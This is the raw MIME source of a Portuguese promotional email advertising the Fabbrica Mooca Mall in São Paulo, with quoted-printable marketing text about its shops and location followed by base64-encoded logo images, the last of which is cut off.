    3DFABBRICA_MOOCA_002=20   3DFABBRICA_MOOCA_003=20

     

    3DFABBRICA_MOOCA_004=20


     <= SPAN>FABBRICA=20 MOOCA MALL
    =C3=89 um centro de servi=C3=A7os e compras com = caracter=C3=ADsticas especiais=20 que antecipam tend=C3=AAncias e movimentos do mercado, e que tem sido = uma=20 conduta-padr=C3=A3o para os executivos bem sucedidos.
    Praticidade=20 =C3=A9 a principal caracter=C3=ADstica desse tipo de empreendimento; um = centro comercial=20 que =C3=A9 um aliado de mulheres que acumulam os pap=C3=A9is de gestora = da casa e=20 profissional; dos homens que buscam a praticidade de um restaurante ou = loja de=20 forma f=C3=A1cil e r=C3=A1pida; e jovens em idade de col=C3=A9gio e = universidades que podem=20 sentir a sensa=C3=A7=C3=A3o da liberdade de aproveitar a = descontra=C3=A7=C3=A3o do ambiente ao ar=20 livre; e de todos que gostam de um bom caf=C3=A9 regado a um bate-papo = com os amigos=20 e vizinhos.
    S=C3=A3o detalhes como estes que tornam o FABBRICA = MOOCA MALL um=20 local especial para milhares de pessoas que circulam ali=20 mensalmente.
    =E2=80=9C S=C3=A3o + de 2.500 apartamentos de alto = padr=C3=A3o, somente =C3=A0 01=20 quadra de dist=C3=A2ncia. =E2=80=9C
    Sua arquitetura privilegia o acesso r=C3=A1pido as dezenas= de=20 vagas dispon=C3=ADveis e = v=C3=A1rias lojas,=20 que oferecem ao p=C3=BAblico frequentador uma s=C3=A9rie de = op=C3=A7=C3=B5es, desde o=20 com=C3=A9rcio de produtos, servi=C3=A7os, at=C3=A9 sofisticadas = op=C3=A7=C3=B5es de alimenta=C3=A7=C3=A3o e lazer.=20
    P=C3=A9 direito de 6mts em todas as lojas com mezanino = aprovado em=20 planta.
    A Pra=C3=A7= a de=20 Alimenta=C3=A7=C3=A3o =C3=A9 um = sugestivo ponto de=20 encontro, para relaxar ou simplesmente saborear um delicioso = prato.

    Localiza=C3=A7=C3=A3o:
    3DFABBRICA_MOOCA_CROQUI=20
    Rua Cassandoca, 98 =E2=80=93 Mooca =E2=80=93 S=C3=A3o = Paulo =E2=80=93 SP =20
     
     
     
     




    =
    <= /DIV>
    =
    <= /DIV>
    =
    <= /DIV>
    = <= /DIV>= <= /DIV> ------=_NextPart_001_00C4_01CEF723.E27AAE90-- ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="=?utf-8?Q?F=C3=81BBRICA=5FMO=C3=93CA=5FLOGO=5B1=5D.jpg?=" Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCACaAJoDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5L+z7 W/vVJ9nTb8tTKu1aN391K8c7SvsSnLH/AHEWrDR/wVC3SgkPlRaj2SM3+zTW+Zvv05Zdq1ZQ5vl6 fNRu+Wo5LiO3UNNIiJ13PWHqPjLSbdttrvnb/Z+7RyDhGUzeZv4j81Q7nZq4248canL/AMe8MMX/ AI9XSR+c/wAKLvxlLeul/wD20tjFtUbduzLVp7M09jI0F/vU7zf4Frzv/hJtb+5/aDf98j/Cp4PG GrQjMxik/wB5aPZhKhI79vm2/dp38LfwVNoeh+JdW0az1ZtJ+zi/3NawGQebOirlpVX+7Wat1DdR h7eZZI267WzU8pjyFrzdy/foVkX/AHqjX5V2UfL/AH6kRIzfNTV37v8AZoVk3f7VOkl+WgDtfg74 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 262sKrbxgCNf4B6VpCCgrImUuY//2Q== ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="=?utf-8?Q?F=C3=81BBRICA=5FMO=C3=93CA=5FLOGO=5B1=5D.jpg?=" Content-Transfer-Encoding: base64 Content-ID: <1BA458DEEC63448ABC12BB11A618154D@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCACaAJoDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5LFvs bn5qkFum3KVMqlEyaN+fuJXjnaV9ielOWLuka1YaMfcP1qFjxQSHyIvIqPY7N1+Wmt87ffpyyhVq yhzfJwPnxRvO3IqOS4itlDTSIiddzmsPUvGWkW7bLYvO/wDs/do5BwjKZvM54kI3VDvkd8iuNuPH Gpy/8e8MEXP+9XSRmd/hRd+Mpr5lv/7aWwhCqNuzZlq09maexmaCZHz04y4+RK87/wCEn1sDyxqD df7o/wAKsW/jHVYBmYxSe7LR7MJUJHfOC4UgLTiCFbjbU2h6H4m1bRrTVzpH2f7fue1gMgEs6Ku5 pVX+7Wat1FdRh7eZZI2OCFbdzU8pjyFrzd6/foVkT/eqNcIuzNHyn+OpESM/zU1d+/j7tCum7n71 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 